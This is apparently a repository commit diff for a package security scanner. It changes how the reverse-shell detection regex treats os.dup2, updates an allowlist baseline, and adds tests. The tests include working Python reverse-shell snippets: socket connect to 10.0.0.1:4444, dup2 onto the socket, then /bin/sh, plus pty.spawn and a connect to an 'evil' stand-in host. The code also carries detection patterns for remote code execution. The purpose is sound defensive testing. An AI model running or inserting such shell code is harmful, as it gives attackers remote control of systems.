Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.
Python agentaichatgptdeepseekfine-tuninggemmaimage-generationllamallmllmsopenaipythonqwenreinforcement-learningself-hostedstable-diffusiontext-to-speechttsuiunsloth
Stop os.dup2 alone being a reverse shell, and allowlist the zoo URL guard (#9994)
Daniel Hana42c4d57b933
diff --git a/scripts/scan_packages.py b/scripts/scan_packages.pyindex fea7b1e3402..dae68f6a2cd 100644--- a/scripts/scan_packages.py+++ b/scripts/scan_packages.py@@ -298,7 +298,14 @@ RE_FS_ENUM = re.compile(re.DOTALL,)-# Reverse shell / bind shell patterns+# Reverse shell / bind shell patterns. LEFT EXACTLY AS IT WAS, dup2 included,+# because this pattern is what the evidence is extracted with. It is re.DOTALL,+# so a match spans from the first signal to the last and the rendered evidence+# for a long span is a digest of the whole thing; editing the alternation moves+# the span, moves the digest, and silently reopens every reviewed baseline entry+# taken against it. Removing the dup2 branch here un-suppressed 11 entries on+# the studio and hf-stack shards, multiprocess/tests/__init__.py among them.+# Whether dup2 alone is enough is decided below instead, where it costs nothing.RE_REVERSE_SHELL = re.compile(r"\bsocket\b.*\bconnect\b.*\bsubprocess\b"r"|\bsocket\b.*\bconnect\b.*\b(?:sh|bash|cmd)\b"@@ -309,6 +316,33 @@ RE_REVERSE_SHELL = re.compile(re.DOTALL,)+# The same thing without the dup2 branch, used only to answer "would this file+# still be a reverse shell if dup2 did not count?".+#+# dup2 is the ordinary way to point a file descriptor at a file, and it was the+# only single-token alternative above, in a pattern whose every other branch+# names two co-occurring signals. So it fired on capture helpers and redirect+# plumbing: ten of the nineteen reverse-shell entries in the committed baseline+# are dup2 with no socket anywhere in the file (click/testing.py,+# numba/tests/support.py, rich/console.py, torch elastic redirects.py,+# sentencepiece) and not one is a true positive. triton 3.8.0 shipped an+# eleventh in _internal_testing.py, which reddened main.+#+# A reverse shell dup2s onto a SOCKET, so the socket is the half carrying the+# meaning. A file with one is judged exactly as before, evidence included; a+# file without one has to earn the finding on a branch other than dup2. Nothing+# is lost: a payload has to name socket to obtain the descriptor at all, and the+# socket + connect + subprocess branch catches it independently.+RE_REVERSE_SHELL_WITHOUT_DUP = re.compile(+ r"\bsocket\b.*\bconnect\b.*\bsubprocess\b"+ r"|\bsocket\b.*\bconnect\b.*\b(?:sh|bash|cmd)\b"+ r"|\b/bin/(?:sh|bash)\b.*\bsocket\b"+ r"|\bpty\s*\.\s*spawn\b"+ r"|\bwebbrowser\s*\.\s*open\b.*\bdata:\b", # data: URI abuse+ re.DOTALL,+)+RE_SOCKET_USE = re.compile(r"\bsocket\b")+# Process injection / code loading from remoteRE_REMOTE_CODE = re.compile(r"\bexec\s*\(\s*(?:urllib|requests|httpx|urlopen)" # exec(requests.get(...))@@ -730,7 +764,11 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:has_anti = bool(RE_ANTI_ANALYSIS.search(content))has_dns_exfil = bool(RE_DNS_EXFIL.search(content))has_fs_enum = bool(RE_FS_ENUM.search(content))- has_rev_shell = bool(RE_REVERSE_SHELL.search(content))+ # dup2 counts only alongside a socket; see RE_FD_DUP.+ # dup2 counts only alongside a socket; see RE_REVERSE_SHELL_WITHOUT_DUP.+ has_rev_shell = bool(RE_REVERSE_SHELL.search(content)) and (+ bool(RE_SOCKET_USE.search(content)) or bool(RE_REVERSE_SHELL_WITHOUT_DUP.search(content))+ )has_remote_code = bool(RE_REMOTE_CODE.search(content))has_crypto_theft = bool(RE_CRYPTO_THEFT.search(content))has_openssl_cli = bool(RE_OPENSSL_CLI.search(content))@@ -828,6 +866,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:package,filename,"Reverse shell / bind shell pattern",+ # Still RE_REVERSE_SHELL, so every finding that survives the gate+ # renders byte-identical evidence to before this change._extract_evidence(content, RE_REVERSE_SHELL),))diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.jsonindex abd119629a8..e6b1435d2dc 100644--- a/scripts/scan_packages_baseline.json+++ b/scripts/scan_packages_baseline.json@@ -1734,6 +1734,30 @@"evidence": "Env: L117: token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L162: environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L440: http_client: httpx2.Client | None = None, | L554: http_client: httpx2.Client | None = None, | L672: http_client: httpx2.AsyncClient | None = None, | L788: http_client: httpx2.AsyncClient | None = None,","evidence_hash": "ed7177e905325f49fc00b6329c7b4c18436af60fa52a559251a3a54618715873","file_sha256": "75816d2632b709d789ca5ebef43e15c3916691bb7ce9e8ed57181a2faccc667e"+ },+ {+ "package": "unsloth-zoo",+ "file": "unsloth_zoo/vision_utils.py",+ "check": "Harvests environment variables/secrets AND makes network calls",+ "severity": "CRITICAL",+ "evidence": "Env: L150: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L108: from urllib.request import url2pathname | L287: with requests.Session() as session:",+ "evidence_hash": "13af1f1a0b133cbd4bc1e38e29a95a7e507078f1b43aca218b54654085cd2b99"+ },+ {+ "package": "unsloth-zoo",+ "file": "unsloth_zoo/vision_utils.py",+ "check": "Accesses cloud metadata/IMDS AND makes network calls",+ "severity": "CRITICAL",+ "evidence": "IMDS: L143: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L108: from urllib.request import url2pathname | L287: with requests.Session() as session:",+ "evidence_hash": "285f7daff8b222ab03cc239132a58f2273213b83a38095d675041e086d547f31"+ },+ {+ "package": "unsloth-zoo",+ "file": "unsloth_zoo/compiler.py",+ "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",+ "severity": "HIGH",+ "evidence": "Obfusc: L1240: _mod = __import__(model_location, fromlist=items) | L5329: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5330: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5331: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5332: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5330: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5331: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5332: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5329: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5330: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5331: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1169: _modeling_file = eval(model_location) | L1658: f = eval(f\"{model_location}.{module}\") | L1988: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1989: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L3414: exec(f\"import {parent}\", locals(), globals()) | L3545: dir(eval(parent)), | L3549: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L3623: module = eval(f\"modeling_file.{module}\") | L3650: inner_class = eval(f\"modeling_file.{inner_class}\") | L3780: exec(f\"from timm.layers.norm_act import {norm}\") | L3788: forward = eval(norm).forward | L3794: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3811: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3819: forward = eval(block).forward | L3825: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L4059: exec(\nL4060: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4061: globals(),\nL4062: locals(),\nL4063: ) | L4065: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L4069: exec(\nL4070: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4071: globals(),\nL4072: locals(),\nL4073: ) | L4075: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L4152: source = eval(f\"{model_location}.torch\") | L4159: function = eval(f\"source.nn.{module}\") | L4336: exec(\"import transformers\", globals()) | L4349: exec(\nL4350: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL4351: ) | L4353: exec(\nL4354: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL4355: globals(),\nL4356: locals(),\nL4357: ) | L4589: source = eval(f\"modeling_file.{module}\") | L4603: source = eval(f\"modeling_file.{module}\") | L4704: source = eval(f\"modeling_file.{module}\") | L4742: source = eval(f\"{model_location}.{module}\") | L4822: source = eval(f\"{model_location}.{module}\") | L4870: source = eval(f\"{model_location}.{module}\") | L5092: source = eval(f\"{model_location}.{module}\") | L5103: exec(\nL5104: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL5105: globals(),\nL5106: ) | L5169: source = eval(f\"{model_location}.{module}\") | L5210: module_cls = eval(f\"{model_location}.{module}\") | L5247: module_cls = eval(f\"{model_location}.{module}\") | L5314: exec(\nL5315: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL5316: globals(),\nL5317: ) | L5379: exec(inner_training_loop, globals()) | L5387: function = eval(f\"{model_location}.{module}\") | L5465: function = eval(f\"{model_location}.{module}\") | L5603: exec(\nL5604: f\"{model_location}.{module} = combined_module.{module}\",\nL5605: globals(),\nL5606: locals(),\nL5607: ) | L5617: check_dicts = dir(eval(f\"{model_location}\")) | L5619: item = eval(f\"{model_location}.{check}\") | L5629: exec(\nL5630: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL5631: globals(),\nL5632: locals(),\nL5633: )",+ "evidence_hash": "bdfae4c24572c2a86fa6a2dede720ebb0723746963e43c2cd42701de5fc48fdb"}]}diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.pyindex 31b80a54f41..0fa572d66eb 100644--- a/tests/security/test_scan_packages.py+++ b/tests/security/test_scan_packages.py@@ -2360,3 +2360,147 @@ def test_the_toml_helpers_run_without_stdlib_tomllib(monkeypatch):assert _supported_python_versions(REPO_ROOT)[0] == "3.9"assert any(source == "pyproject.toml" for source, _ in _audited_requirements(REPO_ROOT))+++# ──────────────────────────────────────────────────────────────────────+# dup2 needs a socket to mean "reverse shell"+# ──────────────────────────────────────────────────────────────────────+++def _reverse_shell_findings(source: str):+ return [+ f+ for f in sp.check_py_file(source, "pkg/module.py", "pkg")+ if f.check == "Reverse shell / bind shell pattern"+ ]+++ "source",+ [+ # triton 3.8.0's _internal_testing.py, the shape that reddened main.+ "import os, tempfile\n"+ "def capture():\n"+ " tmp = tempfile.TemporaryFile()\n"+ " saved = os.dup(2)\n"+ " os.dup2(tmp.fileno(), 2)\n"+ " os.dup2(saved, 2)\n",+ # torch's elastic redirect plumbing: dup2 and nothing else at all.+ "import os\ndef redirect(to_fd, from_fd):\n os.dup2(to_fd, from_fd)\n",+ ],+)+def test_dup2_without_a_socket_is_not_a_reverse_shell(source):+ """Pointing a descriptor at a FILE is ordinary, and used to be CRITICAL.++ Ten of the nineteen reverse-shell entries in the committed baseline are this+ shape and not one is a true positive, so the finding cost review time and+ reopened whenever an unrelated release touched the file.+ """+ assert _reverse_shell_findings(source) == []+++def test_dup2_onto_a_socket_is_still_a_reverse_shell():+ source = (+ "import os, socket, subprocess\n"+ "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"+ 's.connect(("10.0.0.1", 4444))\n'+ "os.dup2(s.fileno(), 0)\n"+ "os.dup2(s.fileno(), 1)\n"+ 'subprocess.call(["/bin/sh"])\n'+ )+ found = _reverse_shell_findings(source)+ assert len(found) == 1 and found[0].severity == sp.CRITICAL+ # The DOTALL span covers both halves, so the entry reopens if either changes.+ assert "dup2" in found[0].evidence and "socket" in found[0].evidence+++def test_socketless_payloads_still_fire():+ """The alternatives that never depended on dup2 are untouched."""+ assert _reverse_shell_findings('import pty\npty.spawn("/bin/bash")\n')+ assert _reverse_shell_findings(+ "import socket, subprocess\n"+ "s = socket.socket()\n"+ 's.connect(("evil", 1))\n'+ 'subprocess.call("/bin/sh")\n'+ )+++def test_committed_baseline_covers_the_zoo_url_guard():+ """unsloth-zoo's SSRF guard reads one env var and holds a blocklist of+ metadata hostnames, next to the requests session it exists to police, so it+ trips two combination checks. Reviewed as benign and allowlisted; without+ these entries every Security audit run on main is red.+ """+ path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"+ entries = json.loads(path.read_text(encoding = "utf-8"))["entries"]+ checks = {+ e["check"]+ for e in entries+ if e["package"].replace("_", "-") == "unsloth-zoo"+ and e["file"] == "unsloth_zoo/vision_utils.py"+ }+ assert "Harvests environment variables/secrets AND makes network calls" in checks+ assert "Accesses cloud metadata/IMDS AND makes network calls" in checks+++def test_a_named_reverse_shell_keeps_its_original_evidence():+ """A file that fires on a named alternative must not have its evidence grown.++ The evidence is what evidence_hash is taken over, so widening it reopens+ every reviewed baseline entry for that file. multiprocess/tests/__init__.py+ holds a socket, a connect, a subprocess AND a dup2, and appending the dup2+ pairing to its evidence turned two allowlisted findings back into CRITICALs+ and reddened the hf-stack and studio shards.+ """+ source = (+ "import os, socket, subprocess\n"+ "def helper():\n"+ " s = socket.socket()\n"+ ' s.connect(("h", 1))\n'+ ' subprocess.call("/bin/sh")\n'+ "def redirect(fd):\n"+ " os.dup2(fd, 1)\n"+ )+ found = _reverse_shell_findings(source)+ assert len(found) == 1+ code_only = sp._strip_noncode(source)+ assert found[0].evidence == sp._extract_evidence(+ code_only, sp.RE_REVERSE_SHELL+ ), "evidence for a named alternative must be exactly what it always was"+ assert "Dup:" not in found[0].evidence, "the gate must not author its own evidence"+++def test_the_evidence_pattern_is_never_narrowed():+ """RE_REVERSE_SHELL must keep every branch, dup2 included.++ It is re.DOTALL, so a match runs from the first signal to the last and a long+ span renders as a digest of the whole thing. Dropping a branch moves the span,+ moves the digest, and silently reopens every reviewed baseline entry taken+ against it: doing exactly that un-suppressed 11 entries across the studio and+ hf-stack shards. Whether dup2 alone is enough is decided in check_py_file.+ """+ assert sp.RE_REVERSE_SHELL.search("os.dup2(fd, 1)"), (+ "the evidence pattern must still match dup2, or every baselined "+ "reverse-shell entry containing one is re-rendered"+ )+ assert not sp.RE_REVERSE_SHELL_WITHOUT_DUP.search("os.dup2(fd, 1)")+ for probe in ('pty.spawn("/bin/sh")', 'webbrowser.open("data:x")'):+ assert bool(sp.RE_REVERSE_SHELL.search(probe)) == bool(+ sp.RE_REVERSE_SHELL_WITHOUT_DUP.search(probe)+ ), probe+++def test_a_socketed_file_renders_what_it_always_rendered():+ """The gate must not touch evidence for anything that still fires."""+ source = (+ "import os, socket, subprocess\n"+ "def go():\n"+ " s = socket.socket()\n"+ ' s.connect(("h", 1))\n'+ " os.dup2(s.fileno(), 0)\n"+ ' subprocess.call("/bin/sh")\n'+ )+ found = _reverse_shell_findings(source)+ assert len(found) == 1+ code_only = sp._strip_noncode(source)+ assert found[0].evidence == sp._extract_evidence(code_only, sp.RE_REVERSE_SHELL)